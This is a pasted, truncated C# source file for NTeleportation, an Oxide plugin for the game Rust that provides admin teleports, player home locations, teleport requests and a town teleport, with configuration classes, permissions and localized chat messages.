· 5 years ago · Jul 29, 2020, 09:40 AM
1using System;
2using System.Collections;
3using System.Collections.Generic;
4using System.Globalization;
5using System.Linq;
6
7using Facepunch;
8
9using Newtonsoft.Json;
10using Newtonsoft.Json.Converters;
11using Newtonsoft.Json.Linq;
12
13using Oxide.Core;
14using Oxide.Core.Configuration;
15using Oxide.Core.Plugins;
16using Oxide.Game.Rust;
17using Rust;
18using UnityEngine;
19
20namespace Oxide.Plugins
21{
22 [Info("NTeleportation", "Nogrod", "1.0.11", ResourceId = 1832)]
23 class NTeleportation : RustPlugin
24 {
25 private const string NewLine = "\n";
26 private const string ConfigDefaultPermVip = "nteleportation.vip";
27 private const string PermDeleteHome = "nteleportation.deletehome";
28 private const string PermImportHomes = "nteleportation.importhomes";
29 private const string PermRadiusHome = "nteleportation.radiushome";
30 private const string PermTp = "nteleportation.tp";
31 private const string PermTpB = "nteleportation.tpb";
32 private const string PermTpConsole = "nteleportation.tpconsole";
33 private const string PermTpHome = "nteleportation.tphome";
34 private const string PermTpN = "nteleportation.tpn";
35 private const string PermTpL = "nteleportation.tpl";
36 private const string PermTpRemove = "nteleportation.tpremove";
37 private const string PermHomeHomes = "owner";
38 private const string PermTpSave = "nteleportation.tpsave";
39 private const string PermWipeHomes = "nteleportation.wipehomes";
40 private const string PermCraftHome = "nteleportation.crafthome";
41 private const string PermCraftTown = "nteleportation.crafttown";
42 private const string PermCraftTpR = "nteleportation.crafttpr";
43 private DynamicConfigFile dataAdmin;
44 private DynamicConfigFile dataHome;
45 private DynamicConfigFile dataTPR;
46 private DynamicConfigFile dataTown;
47 private Dictionary<ulong, AdminData> Admin;
48 private Dictionary<ulong, HomeData> Home;
49 private Dictionary<ulong, TeleportData> TPR;
50 private Dictionary<ulong, TeleportData> Town;
51 private bool changedAdmin;
52 private bool changedHome;
53 private bool changedTPR;
54 private bool changedTown;
55 private ConfigData configData;
56 private float boundary;
57 private readonly int groundLayer = LayerMask.GetMask("Terrain", "World");
58 private readonly int buildingLayer = LayerMask.GetMask("Terrain", "World", "Construction", "Deployed");
59 private readonly int blockLayer = LayerMask.GetMask("Construction");
60 private readonly Dictionary<ulong, TeleportTimer> TeleportTimers = new Dictionary<ulong, TeleportTimer>();
61 private readonly Dictionary<ulong, Timer> PendingRequests = new Dictionary<ulong, Timer>();
62 private readonly Dictionary<ulong, BasePlayer> PlayersRequests = new Dictionary<ulong, BasePlayer>();
63 private readonly Dictionary<int, string> ReverseBlockedItems = new Dictionary<int, string>();
64 private readonly HashSet<ulong> teleporting = new HashSet<ulong>();
65
66 [PluginReference]
67 private Plugin Friends;
68 [PluginReference]
69 private Plugin RustIO;
70 [PluginReference]
71 private Plugin Clans;
72
73 class ConfigData
74 {
75 public SettingsData Settings { get; set; }
76 public AdminSettingsData Admin { get; set; }
77 public HomesSettingsData Home { get; set; }
78 public TPRData TPR { get; set; }
79 public TownData Town { get; set; }
80 public VersionNumber Version { get; set; }
81 }
82
83 class SettingsData
84 {
85 public string ChatName { get; set; }
86 public bool HomesEnabled { get; set; }
87 public bool TPREnabled { get; set; }
88 public bool TownEnabled { get; set; }
89 public bool InterruptTPOnHurt { get; set; }
90 public Dictionary<string, string> BlockedItems { get; set; } = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase);
91 }
92
93 class AdminSettingsData
94 {
95 public bool AnnounceTeleportToTarget { get; set; }
96 public bool UseableByModerators { get; set; }
97 public int LocationRadius { get; set; }
98 public int TeleportNearDefaultDistance { get; set; }
99 }
100
101 class HomesSettingsData
102 {
103 public int HomesLimit { get; set; }
104 public Dictionary<string, int> VIPHomesLimits { get; set; }
105 public int Cooldown { get; set; }
106 public int Countdown { get; set; }
107 public int DailyLimit { get; set; }
108 public Dictionary<string, int> VIPDailyLimits { get; set; }
109 public Dictionary<string, int> VIPCooldowns { get; set; }
110 public Dictionary<string, int> VIPCountdowns { get; set; }
111 public int LocationRadius { get; set; }
112 public bool ForceOnTopOfFoundation { get; set; }
113 public bool CheckFoundationForOwner { get; set; }
114 public bool UseFriends { get; set; }
115 public bool UsableOutOfBuildingBlocked { get; set; }
116 public bool AllowIceberg { get; set; }
117 public bool AllowCave { get; set; }
118 public bool AllowCraft { get; set; }
119 public bool AllowAboveFoundation { get; set; }
120 }
121
122 class TPRData
123 {
124 public int Cooldown { get; set; }
125 public int Countdown { get; set; }
126 public int DailyLimit { get; set; }
127 public Dictionary<string, int> VIPDailyLimits { get; set; }
128 public Dictionary<string, int> VIPCooldowns { get; set; }
129 public Dictionary<string, int> VIPCountdowns { get; set; }
130 public int RequestDuration { get; set; }
131 public bool BlockTPAOnCeiling { get; set; }
132 public bool UsableOutOfBuildingBlocked { get; set; }
133 public bool AllowCraft { get; set; }
134 }
135
136 class TownData
137 {
138 public int Cooldown { get; set; }
139 public int Countdown { get; set; }
140 public int DailyLimit { get; set; }
141 public Dictionary<string, int> VIPDailyLimits { get; set; }
142 public Dictionary<string, int> VIPCooldowns { get; set; }
143 public Dictionary<string, int> VIPCountdowns { get; set; }
144 public Vector3 Location { get; set; }
145 public bool UsableOutOfBuildingBlocked { get; set; }
146 public bool AllowCraft { get; set; }
147 }
148
149 class AdminData
150 {
151 [JsonProperty("pl")]
152 public Vector3 PreviousLocation { get; set; }
153 [JsonProperty("l")]
154 public Dictionary<string, Vector3> Locations { get; set; } = new Dictionary<string, Vector3>(StringComparer.OrdinalIgnoreCase);
155 }
156
157 class HomeData
158 {
159 [JsonProperty("l")]
160 public Dictionary<string, Vector3> Locations { get; set; } = new Dictionary<string, Vector3>(StringComparer.OrdinalIgnoreCase);
161 [JsonProperty("t")]
162 public TeleportData Teleports { get; set; } = new TeleportData();
163 }
164
165 class TeleportData
166 {
167 [JsonProperty("a")]
168 public int Amount { get; set; }
169 [JsonProperty("d")]
170 public string Date { get; set; }
171 [JsonProperty("t")]
172 public int Timestamp { get; set; }
173 }
174
175 class TeleportTimer
176 {
177 public Timer Timer { get; set; }
178 public BasePlayer OriginPlayer { get; set; }
179 public BasePlayer TargetPlayer { get; set; }
180 }
181
182 protected override void LoadDefaultConfig()
183 {
184 Config.Settings.ReferenceLoopHandling = ReferenceLoopHandling.Ignore;
185 Config.Settings.Converters = new JsonConverter[] {new UnityVector3Converter()};
186 Config.WriteObject(new ConfigData
187 {
188 Settings = new SettingsData
189 {
190 ChatName = "<color=red>Teleportation</color>: ",
191 HomesEnabled = true,
192 TPREnabled = true,
193 TownEnabled = true,
194 InterruptTPOnHurt = true
195 },
196 Admin = new AdminSettingsData
197 {
198 AnnounceTeleportToTarget = false,
199 UseableByModerators = true,
200 LocationRadius = 25,
201 TeleportNearDefaultDistance = 30
202 },
203 Home = new HomesSettingsData
204 {
205 HomesLimit = 2,
206 VIPHomesLimits = new Dictionary<string, int> {{ConfigDefaultPermVip, 5}},
207 Cooldown = 600,
208 Countdown = 15,
209 DailyLimit = 5,
210 VIPDailyLimits = new Dictionary<string, int> {{ConfigDefaultPermVip, 5}},
211 VIPCooldowns = new Dictionary<string, int> {{ConfigDefaultPermVip, 5}},
212 VIPCountdowns = new Dictionary<string, int> {{ConfigDefaultPermVip, 5}},
213 LocationRadius = 25,
214 ForceOnTopOfFoundation = true,
215 CheckFoundationForOwner = true,
216 UseFriends = true,
217 AllowAboveFoundation = true
218 },
219 TPR = new TPRData
220 {
221 Cooldown = 600,
222 Countdown = 15,
223 DailyLimit = 5,
224 VIPDailyLimits = new Dictionary<string, int> {{ConfigDefaultPermVip, 5}},
225 VIPCooldowns = new Dictionary<string, int> {{ConfigDefaultPermVip, 5}},
226 VIPCountdowns = new Dictionary<string, int> {{ConfigDefaultPermVip, 5}},
227 RequestDuration = 30,
228 BlockTPAOnCeiling = true
229 },
230 Town = new TownData
231 {
232 Cooldown = 600,
233 Countdown = 15,
234 DailyLimit = 5,
235 VIPDailyLimits = new Dictionary<string, int> {{ConfigDefaultPermVip, 5}},
236 VIPCooldowns = new Dictionary<string, int> {{ConfigDefaultPermVip, 5}},
237 VIPCountdowns = new Dictionary<string, int> {{ConfigDefaultPermVip, 5}}
238 },
239 Version = Version
240 }, true);
241 }
242
243 private void Init()
244 {
245 lang.RegisterMessages(new Dictionary<string, string>
246 {
247 {"AdminTP", "You teleported to {0}!"},
248 {"AdminTPTarget", "{0} teleported to you!"},
249 {"AdminTPPlayers", "You teleported {0} to {1}!"},
250 {"AdminTPPlayer", "{0} teleported you to {1}!"},
251 {"AdminTPPlayerTarget", "{0} teleported {1} to you!"},
252 {"AdminTPCoordinates", "You teleported to {0}!"},
253 {"AdminTPTargetCoordinates", "You teleported {0} to {1}!"},
254 {"AdminTPOutOfBounds", "You tried to teleport to a set of coordinates outside the map boundaries!"},
255 {"AdminTPBoundaries", "X and Z values need to be between -{0} and {0} while the Y value needs to be between -100 and 2000!"},
256 {"AdminTPLocation", "You teleported to {0}!"},
257 {"AdminTPLocationSave", "You have saved the current location!"},
258 {"AdminTPLocationRemove", "You have removed the location {0}!"},
259 {"AdminLocationList", "The following locations are available:"},
260 {"AdminLocationListEmpty", "You haven't saved any locations!"},
261 {"AdminTPBack", "You've teleported back to your previous location!"},
262 {"AdminTPBackSave", "Your previous location has been saved, use /tpb to teleport back!"},
263 {"AdminTPTargetCoordinatesTarget", "{0} teleported you to {1}!"},
264 {"AdminTPConsoleTP", "You were teleported to {0}"},
265 {"AdminTPConsoleTPPlayer", "You were teleported to {0}"},
266 {"AdminTPConsoleTPPlayerTarget", "{0} was teleported to you!"},
267 {"HomeTP", "You teleported to your home '{0}'!"},
268 {"HomeAdminTP", "You teleported to {0}'s home '{1}'!"},
269 {"HomeSave", "You have saved the current location as your home!"},
270 {"HomeNoFoundation", "You can only use a home location on a foundation!"},
271 {"HomeFoundationNotOwned", "You can't use home on someone else's house."},
272 {"HomeFoundationNotFriendsOwned", "You or a friend need to own the house to use home!"},
273 {"HomeRemovedInvalid", "Your home '{0}' was removed because not on a foundation or not owned!"},
274 {"HomeRemove", "You have removed your home {0}!"},
275 {"HomeDelete", "You have removed {0}'s home '{1}'!"},
276 {"HomeList", "The following homes are available:"},
277 {"HomeListEmpty", "You haven't saved any homes!"},
278 {"HomeMaxLocations", "Unable to set your home here, you have reached the maximum of {0} homes!"},
279 {"HomeQuota", "You have set {0} of the maximum {1} homes!"},
280 {"HomeTPStarted", "Teleporting to your home {0} in {1} seconds!"},
281 {"HomeTPCooldown", "Your teleport is currently on cooldown. You'll have to wait {0} for your next teleport."},
282 {"HomeTPLimitReached", "You have reached the daily limit of {0} teleports today!"},
283 {"HomeTPAmount", "You have {0} home teleports left today!"},
284 {"HomesListWiped", "You have wiped all the saved home locations!"},
285 {"HomeTPBuildingBlocked", "You can't set your home if you are not allowed to build in this zone!"},
286 {"HomeTPSwimming", "You can't set your home while swimming!"},
287 {"HomeTPCrafting", "You can't set your home while crafting!"},
288 {"Request", "You've requested a teleport to {0}!"},
289 {"RequestTarget", "{0} requested to be teleported to you! Use '/tpa' to accept!"},
290 {"PendingRequest", "You already have a request pending, cancel that request or wait until it gets accepted or times out!"},
291 {"PendingRequestTarget", "The player you wish to teleport to already has a pending request, try again later!"},
292 {"NoPendingRequest", "You have no pending teleport request!"},
293 {"AcceptOnRoof", "You can't accept a teleport while you're on a ceiling, get to ground level!"},
294 {"Accept", "{0} has accepted your teleport request! Teleporting in {1} seconds!"},
295 {"AcceptTarget", "You've accepted the teleport request of {0}!"},
296 {"NotAllowed", "You are not allowed to use this command!"},
297 {"Success", "You teleported to {0}!"},
298 {"SuccessTarget", "{0} teleported to you!"},
299 {"Cancelled", "Your teleport request to {0} was cancelled!"},
300 {"CancelledTarget", "{0} teleport request was cancelled!"},
301 {"TPCancelled", "Your teleport was cancelled!"},
302 {"TPCancelledTarget", "{0} cancelled teleport!"},
303 {"TPYouCancelledTarget", "You cancelled {0} teleport!"},
304 {"TimedOut", "{0} did not answer your request in time!"},
305 {"TimedOutTarget", "You did not answer {0}'s teleport request in time!"},
306 {"TargetDisconnected", "{0} has disconnected, your teleport was cancelled!"},
307 {"TPRCooldown", "Your teleport requests are currently on cooldown. You'll have to wait {0} to send your next teleport request."},
308 {"TPRLimitReached", "You have reached the daily limit of {0} teleport requests today!"},
309 {"TPRAmount", "You have {0} teleport requests left today!"},
310 {"TPRTarget", "Your target is currently not available!"},
311 {"TPDead", "You can't teleport while being dead!"},
312 {"TPBuildingBlocked", "You can't teleport while in a building blocked zone!"},
313 {"TPSwimming", "You can't teleport while swimming!"},
314 {"TPCrafting", "You can't teleport while crafting!"},
315 {"TPBlockedItem", "You can't teleport while carrying: {0}!"},
316 {"TownTP", "You teleported to town!"},
317 {"TownTPNotSet", "Town is currently not set!"},
318 {"TownTPLocation", "You have set the town location set to {0}!"},
319 {"TownTPStarted", "Teleporting to town in {0} seconds!"},
320 {"TownTPCooldown", "Your teleport is currently on cooldown. You'll have to wait {0} for your next teleport."},
321 {"TownTPLimitReached", "You have reached the daily limit of {0} teleports today!"},
322 {"TownTPAmount", "You have {0} town teleports left today!"},
323 {"Interrupted", "Your teleport was interrupted!"},
324 {"InterruptedTarget", "{0}'s teleport was interrupted!"},
325 {"Unlimited", "Unlimited"},
326 {
327 "TPInfoGeneral", string.Join(NewLine, new[]
328 {
329 "Please specify the module you want to view the info of.",
330 "The available modules are: ",
331 })
332 },
333 {
334 "TPHelpGeneral", string.Join(NewLine, new[]
335 {
336 "/tpinfo - Shows limits and cooldowns.",
337 "Please specify the module you want to view the help of.",
338 "The available modules are: ",
339 })
340 },
341 {
342 "TPHelpadmintp", string.Join(NewLine, new[]
343 {
344 "As an admin you have access to the following commands:",
345 "/tp \"targetplayer\" - Teleports yourself to the target player.",
346 "/tp \"player\" \"targetplayer\" - Teleports the player to the target player.",
347 "/tp x y z - Teleports you to the set of coordinates.",
348 "/tpl - Shows a list of saved locations.",
349 "/tpl \"location name\" - Teleports you to a saved location.",
350 "/tpsave \"location name\" - Saves your current position as the location name.",
351 "/tpremove \"location name\" - Removes the location from your saved list.",
352 "/tpb - Teleports you back to the place where you were before teleporting.",
353 "/home radius \"radius\" - Find all homes in radius.",
354 "/home delete \"player name|id\" \"home name\" - Remove a home from a player.",
355 "/home tp \"player name|id\" \"name\" - Teleports you to the home location with the name 'name' from the player.",
356 "/home homes \"player name|id\" - Shows you a list of all homes from the player."
357 })
358 },
359 {
360 "TPHelphome", string.Join(NewLine, new[]
361 {
362 "With the following commands you can set your home location to teleport back to:",
363 "/home add \"name\" - Saves your current position as the location name.",
364 "/home list - Shows you a list of all the locations you have saved.",
365 "/home remove \"name\" - Removes the location of your saved homes.",
366 "/home \"name\" - Teleports you to the home location."
367 })
368 },
369 {
370 "TPHelptpr", string.Join(NewLine, new[]
371 {
372 "With these commands you can request to be teleported to a player or accept someone else's request:",
373 "/tpr \"player name\" - Sends a teleport request to the player.",
374 "/tpa - Accepts an incoming teleport request.",
375 "/tpc - Cancel teleport or request."
376 })
377 },
378 {
379 "TPSettingsGeneral", string.Join(NewLine, new[]
380 {
381 "Please specify the module you want to view the settings of. ",
382 "The available modules are:",
383 })
384 },
385 {
386 "TPSettingshome", string.Join(NewLine, new[]
387 {
388 "Home System has the current settings enabled:",
389 "Time between teleports: {0}",
390 "Daily amount of teleports: {1}",
391 "Amount of saved Home locations: {2}"
392 })
393 },
394 {
395 "TPSettingstpr", string.Join(NewLine, new[]
396 {
397 "TPR System has the current settings enabled:",
398 "Time between teleports: {0}",
399 "Daily amount of teleports: {1}"
400 })
401 },
402 {
403 "TPSettingstown", string.Join(NewLine, new[]
404 {
405 "Town System has the current settings enabled:",
406 "Time between teleports: {0}",
407 "Daily amount of teleports: {1}"
408 })
409 },
410 {"PlayerNotFound", "The specified player couldn't be found please try again!"},
411 {"MultiplePlayers", "Found multiple players: {0}"},
412 {"CantTeleportToSelf", "You can't teleport to yourself!"},
413 {"CantTeleportPlayerToSelf", "You can't teleport a player to himself!"},
414 {"TeleportPending", "You can't initiate another teleport while you have a teleport pending!"},
415 {"TeleportPendingTarget", "You can't request a teleport to someone who's about to teleport!"},
416 {"LocationExists", "A location with this name already exists at {0}!"},
417 {"LocationExistsNearby", "A location with the name {0} already exists near this position!"},
418 {"LocationNotFound", "Couldn't find a location with that name!"},
419 {"NoPreviousLocationSaved", "No previous location saved!"},
420 {"HomeExists", "You have already saved a home location by this name!"},
421 {"HomeExistsNearby", "A home location with the name {0} already exists near this position!"},
422 {"HomeNotFound", "Couldn't find your home with that name!"},
423 {"InvalidCoordinates", "The coordinates you've entered are invalid!"},
424 {"InvalidHelpModule", "Invalid module supplied!"},
425 {"InvalidCharacter", "You have used an invalid character, please limit yourself to the letters a to z and numbers."},
426 {
427 "SyntaxCommandTP", string.Join(NewLine, new[]
428 {
429 "A Syntax Error Occurred!",
430 "You can only use the /tp command as follows:",
431 "/tp \"targetplayer\" - Teleports yourself to the target player.",
432 "/tp \"player\" \"targetplayer\" - Teleports the player to the target player.",
433 "/tp x y z - Teleports you to the set of coordinates.",
434 "/tp \"player\" x y z - Teleports the player to the set of coordinates."
435 })
436 },
437 {
438 "SyntaxCommandTPL", string.Join(NewLine, new[]
439 {
440 "A Syntax Error Occurred!",
441 "You can only use the /tpl command as follows:",
442 "/tpl - Shows a list of saved locations.",
443 "/tpl \"location name\" - Teleports you to a saved location."
444 })
445 },
446 {
447 "SyntaxCommandTPSave", string.Join(NewLine, new[]
448 {
449 "A Syntax Error Occurred!",
450 "You can only use the /tpsave command as follows:",
451 "/tpsave \"location name\" - Saves your current position as 'location name'."
452 })
453 },
454 {
455 "SyntaxCommandTPRemove", string.Join(NewLine, new[]
456 {
457 "A Syntax Error Occurred!",
458 "You can only use the /tpremove command as follows:",
459 "/tpremove \"location name\" - Removes the location with the name 'location name'."
460 })
461 },
462 {
463 "SyntaxCommandTPN", string.Join(NewLine, new[]
464 {
465 "A Syntax Error Occurred!",
466 "You can only use the /tpn command as follows:",
467 "/tpn \"targetplayer\" - Teleports yourself the default distance behind the target player.",
468 "/tpn \"targetplayer\" \"distance\" - Teleports you the specified distance behind the target player."
469 })
470 },
471 {
472 "SyntaxCommandSetHome", string.Join(NewLine, new[]
473 {
474 "A Syntax Error Occurred!",
475 "You can only use the /home add command as follows:",
476 "/home add \"name\" - Saves the current location as your home with the name 'name'."
477 })
478 },
479 {
480 "SyntaxCommandRemoveHome", string.Join(NewLine, new[]
481 {
482 "A Syntax Error Occurred!",
483 "You can only use the /home remove command as follows:",
484 "/home remove \"name\" - Removes the home location with the name 'name'."
485 })
486 },
487 {
488 "SyntaxCommandHome", string.Join(NewLine, new[]
489 {
490 "A Syntax Error Occurred!",
491 "You can only use the /home command as follows:",
492 "/home \"name\" - Teleports yourself to your home with the name 'name'.",
493 "/home add \"name\" - Saves the current location as your home with the name 'name'.",
494 "/home list - Shows you a list of all your saved home locations.",
495 "/home remove \"name\" - Removes the home location with the name 'name'."
496 })
497 },
498 {
499 "SyntaxCommandHomeAdmin", string.Join(NewLine, new[]
500 {
501 "/home radius \"radius\" - Shows you a list of all homes in radius(10).",
502 "/home delete \"player name|id\" \"name\" - Removes the home location with the name 'name' from the player.",
503 "/home tp \"player name|id\" \"name\" - Teleports you to the home location with the name 'name' from the player.",
504 "/home homes \"player name|id\" - Shows you a list of all homes from the player."
505 })
506 },
507 {
508 "SyntaxCommandTown", string.Join(NewLine, new[]
509 {
510 "A Syntax Error Occurred!",
511 "You can only use the /town command as follows:",
512 "/town - Teleports yourself to town."
513 })
514 },
515 {
516 "SyntaxCommandTownAdmin", string.Join(NewLine, new[]
517 {
518 "/town set - Saves the current location as town.",
519 })
520 },
521 {
522 "SyntaxCommandHomeDelete", string.Join(NewLine, new[]
523 {
524 "A Syntax Error Occurred!",
525 "You can only use the /home delete command as follows:",
526 "/home delete \"player name|id\" \"name\" - Removes the home location with the name 'name' from the player."
527 })
528 },
529 {
530 "SyntaxCommandHomeAdminTP", string.Join(NewLine, new[]
531 {
532 "A Syntax Error Occurred!",
533 "You can only use the /home tp command as follows:",
534 "/home tp \"player name|id\" \"name\" - Teleports you to the home location with the name 'name' from the player."
535 })
536 },
537 {
538 "SyntaxCommandHomeHomes", string.Join(NewLine, new[]
539 {
540 "A Syntax Error Occurred!",
541 "You can only use the /home homes command as follows:",
542 "/home homes \"player name|id\" - Shows you a list of all homes from the player."
543 })
544 },
545 {
546 "SyntaxCommandListHomes", string.Join(NewLine, new[]
547 {
548 "A Syntax Error Occurred!",
549 "You can only use the /home list command as follows:",
550 "/home list - Shows you a list of all your saved home locations."
551 })
552 },
553 {
554 "SyntaxCommandTPR", string.Join(NewLine, new[]
555 {
556 "A Syntax Error Occurred!",
557 "You can only use the /tpr command as follows:",
558 "/tpr \"player name\" - Sends out a teleport request to 'player name'."
559 })
560 },
561 {
562 "SyntaxCommandTPA", string.Join(NewLine, new[]
563 {
564 "A Syntax Error Occurred!",
565 "You can only use the /tpa command as follows:",
566 "/tpa - Accepts an incoming teleport request."
567 })
568 },
569 {
570 "SyntaxCommandTPC", string.Join(NewLine, new[]
571 {
572 "A Syntax Error Occurred!",
573 "You can only use the /tpc command as follows:",
574 "/tpc - Cancels an teleport request."
575 })
576 },
577 {
578 "SyntaxConsoleCommandToPos", string.Join(NewLine, new[]
579 {
580 "A Syntax Error Occurred!",
581 "You can only use the teleport.topos console command as follows:",
582 " > teleport.topos \"player\" x y z"
583 })
584 },
585 {
586 "SyntaxConsoleCommandToPlayer", string.Join(NewLine, new[]
587 {
588 "A Syntax Error Occurred!",
589 "You can only use the teleport.toplayer console command as follows:",
590 " > teleport.toplayer \"player\" \"target player\""
591 })
592 },
593 {"LogTeleport", "{0} teleported to {1}."},
594 {"LogTeleportPlayer", "{0} teleported {1} to {2}."},
595 {"LogTeleportBack", "{0} teleported back to previous location."}
596 }, this);
597 Config.Settings.ReferenceLoopHandling = ReferenceLoopHandling.Ignore;
598 Config.Settings.Converters = new JsonConverter[] { new UnityVector3Converter() };
599 try
600 {
601 configData = Config.ReadObject<ConfigData>();
602 }
603 catch (Exception)
604 {
605 Puts("Corrupt config, loading default...");
606 LoadDefaultConfig();
607 }
608 if (!(configData.Version == Version))
609 {
610 if (configData.Home.VIPHomesLimits == null)
611 {
612 configData.Home.VIPHomesLimits = new Dictionary<string, int> { { ConfigDefaultPermVip, 5 } };
613 configData.Home.VIPDailyLimits = new Dictionary<string, int> { { ConfigDefaultPermVip, 5 } };
614 configData.Home.VIPCooldowns = new Dictionary<string, int> { { ConfigDefaultPermVip, 5 } };
615 configData.TPR.VIPDailyLimits = new Dictionary<string, int> { { ConfigDefaultPermVip, 5 } };
616 configData.TPR.VIPCooldowns = new Dictionary<string, int> { { ConfigDefaultPermVip, 5 } };
617 configData.Town.VIPDailyLimits = new Dictionary<string, int> { { ConfigDefaultPermVip, 5 } };
618 configData.Town.VIPCooldowns = new Dictionary<string, int> { { ConfigDefaultPermVip, 5 } };
619 }
620 if (configData.Home.VIPCountdowns == null)
621 {
622 configData.Home.VIPCountdowns = new Dictionary<string, int> { { ConfigDefaultPermVip, 5 } };
623 configData.TPR.VIPCountdowns = new Dictionary<string, int> { { ConfigDefaultPermVip, 5 } };
624 configData.Town.VIPCountdowns = new Dictionary<string, int> { { ConfigDefaultPermVip, 5 } };
625 }
626 if (configData.Version <= new VersionNumber(1, 0, 4))
627 configData.Home.AllowAboveFoundation = true;
628 configData.Version = Version;
629 Config.WriteObject(configData, true);
630 }
631 dataAdmin = GetFile(nameof(NTeleportation) + "Admin");
632 Admin = dataAdmin.ReadObject<Dictionary<ulong, AdminData>>();
633 dataHome = GetFile(nameof(NTeleportation) + "Home");
634 Home = dataHome.ReadObject<Dictionary<ulong, HomeData>>();
635 dataTPR = GetFile(nameof(NTeleportation) + "TPR");
636 TPR = dataTPR.ReadObject<Dictionary<ulong, TeleportData>>();
637 dataTown = GetFile(nameof(NTeleportation) + "Town");
638 Town = dataTown.ReadObject<Dictionary<ulong, TeleportData>>();
639 cmd.AddConsoleCommand("teleport.toplayer", this, ccmdTeleport);
640 cmd.AddConsoleCommand("teleport.topos", this, ccmdTeleport);
641 permission.RegisterPermission(PermDeleteHome, this);
642 permission.RegisterPermission(PermImportHomes, this);
643 permission.RegisterPermission(PermRadiusHome, this);
644 permission.RegisterPermission(PermTp, this);
645 permission.RegisterPermission(PermTpB, this);
646 permission.RegisterPermission(PermTpConsole, this);
647 permission.RegisterPermission(PermTpHome, this);
648 permission.RegisterPermission(PermTpN, this);
649 permission.RegisterPermission(PermTpL, this);
650 permission.RegisterPermission(PermTpRemove, this);
651 permission.RegisterPermission(PermTpSave, this);
652 permission.RegisterPermission(PermWipeHomes, this);
653 permission.RegisterPermission(PermCraftHome, this);
654 permission.RegisterPermission(PermCraftTown, this);
655 permission.RegisterPermission(PermCraftTpR, this);
656 }
657 private DynamicConfigFile GetFile(string name)
658 {
659 var file = Interface.Oxide.DataFileSystem.GetFile(name);
660 file.Settings.ReferenceLoopHandling = ReferenceLoopHandling.Ignore;
661 file.Settings.Converters = new JsonConverter[] { new UnityVector3Converter(), new CustomComparerDictionaryCreationConverter<string>(StringComparer.OrdinalIgnoreCase) };
662 return file;
663 }
664
665 void OnServerInitialized()
666 {
667 boundary = TerrainMeta.Size.x / 2;
668 CheckPerms(configData.Home.VIPHomesLimits);
669 CheckPerms(configData.Home.VIPDailyLimits);
670 CheckPerms(configData.Home.VIPCooldowns);
671 CheckPerms(configData.TPR.VIPDailyLimits);
672 CheckPerms(configData.TPR.VIPCooldowns);
673 CheckPerms(configData.Town.VIPDailyLimits);
674 CheckPerms(configData.Town.VIPCooldowns);
675 foreach (var item in configData.Settings.BlockedItems)
676 {
677 var definition = ItemManager.FindItemDefinition(item.Key);
678 if (definition == null)
679 {
680 Puts("Blocked item not found: {0}", item.Key);
681 continue;
682 }
683 ReverseBlockedItems[definition.itemid] = item.Value;
684 }
685 }
686
687 void OnServerSave()
688 {
689 SaveTeleportsAdmin();
690 SaveTeleportsHome();
691 SaveTeleportsTPR();
692 SaveTeleportsTown();
693 }
694
695 void OnServerShutdown() => OnServerSave();
696
697 void Unload() => OnServerSave();
698
699 void OnEntityTakeDamage(BaseCombatEntity entity, HitInfo hitinfo)
700 {
701 var player = entity.ToPlayer();
702 if (player == null || hitinfo == null) return;
703 if (hitinfo.damageTypes.Has(DamageType.Fall) && teleporting.Contains(player.userID))
704 {
705 hitinfo.damageTypes = new DamageTypeList();
706 teleporting.Remove(player.userID);
707 }
708 TeleportTimer teleportTimer;
709 if (!TeleportTimers.TryGetValue(player.userID, out teleportTimer)) return;
710 NextTick(() => {
711 if (hitinfo.damageTypes.Total() <= 0) return;
712 PrintMsgL(teleportTimer.OriginPlayer, "Interrupted");
713 if (teleportTimer.TargetPlayer != null)
714 PrintMsgL(teleportTimer.TargetPlayer, "InterruptedTarget", teleportTimer.OriginPlayer.displayName);
715 teleportTimer.Timer.Destroy();
716 TeleportTimers.Remove(player.userID);
717 });
718 }
719
720 void OnPlayerSleepEnded(BasePlayer player)
721 {
722 if (teleporting.Contains(player.userID))
723 timer.Once(3, () => { teleporting.Remove(player.userID); });
724 }
725
726 void OnPlayerDisconnected(BasePlayer player)
727 {
728 Timer reqTimer;
729 if (PendingRequests.TryGetValue(player.userID, out reqTimer))
730 {
731 var originPlayer = PlayersRequests[player.userID];
732 PrintMsgL(originPlayer, "RequestTargetOff");
733 reqTimer.Destroy();
734 PendingRequests.Remove(player.userID);
735 PlayersRequests.Remove(player.userID);
736 PlayersRequests.Remove(originPlayer.userID);
737 }
738 TeleportTimer teleportTimer;
739 if (TeleportTimers.TryGetValue(player.userID, out teleportTimer))
740 {
741 teleportTimer.Timer.Destroy();
742 TeleportTimers.Remove(player.userID);
743 }
744 teleporting.Remove(player.userID);
745 }
746
747 private void SaveTeleportsAdmin()
748 {
749 if (Admin == null || !changedAdmin) return;
750 dataAdmin.WriteObject(Admin);
751 changedAdmin = false;
752 }
753
754 private void SaveTeleportsHome()
755 {
756 if (Home == null || !changedHome) return;
757 dataHome.WriteObject(Home);
758 changedHome = false;
759 }
760
761 private void SaveTeleportsTPR()
762 {
763 if (TPR == null || !changedTPR) return;
764 dataTPR.WriteObject(TPR);
765 changedTPR = false;
766 }
767
768 private void SaveTeleportsTown()
769 {
770 if (Town == null || !changedTown) return;
771 dataTown.WriteObject(Town);
772 changedTown = false;
773 }
774
775 private void SaveLocation(BasePlayer player)
776 {
777 if (!IsAllowed(player, PermTpB)) return;
778 AdminData adminData;
779 if (!Admin.TryGetValue(player.userID, out adminData))
780 Admin[player.userID] = adminData = new AdminData();
781 adminData.PreviousLocation = player.transform.position;
782 changedAdmin = true;
783 PrintMsgL(player, "AdminTPBackSave");
784 }
785
786 [ChatCommand("tp")]
787 private void cmdChatTeleport(BasePlayer player, string command, string[] args)
788 {
789 if (!IsAllowedMsg(player, PermTp)) return;
790 BasePlayer target;
791 float x, y, z;
792 switch (args.Length)
793 {
794 case 1:
795 target = FindPlayersSingle(args[0], player);
796 if (target == null) return;
797 if (target == player)
798 {
799 PrintMsgL(player, "CantTeleportToSelf");
800 return;
801 }
802 TeleportToPlayer(player, target);
803 PrintMsgL(player, "AdminTP", target.displayName);
804 Puts(_("LogTeleport", null, player.displayName, target.displayName));
805 if (configData.Admin.AnnounceTeleportToTarget)
806 PrintMsgL(target, "AdminTPTarget", player.displayName);
807 break;
808 case 2:
809 var origin = FindPlayersSingle(args[0], player);
810 if (origin == null) return;
811 target = FindPlayersSingle(args[1], player);
812 if (target == null) return;
813 if (target == origin)
814 {
815 PrintMsgL(player, "CantTeleportPlayerToSelf");
816 return;
817 }
818 TeleportToPlayer(origin, target);
819 PrintMsgL(player, "AdminTPPlayers", origin.displayName, target.displayName);
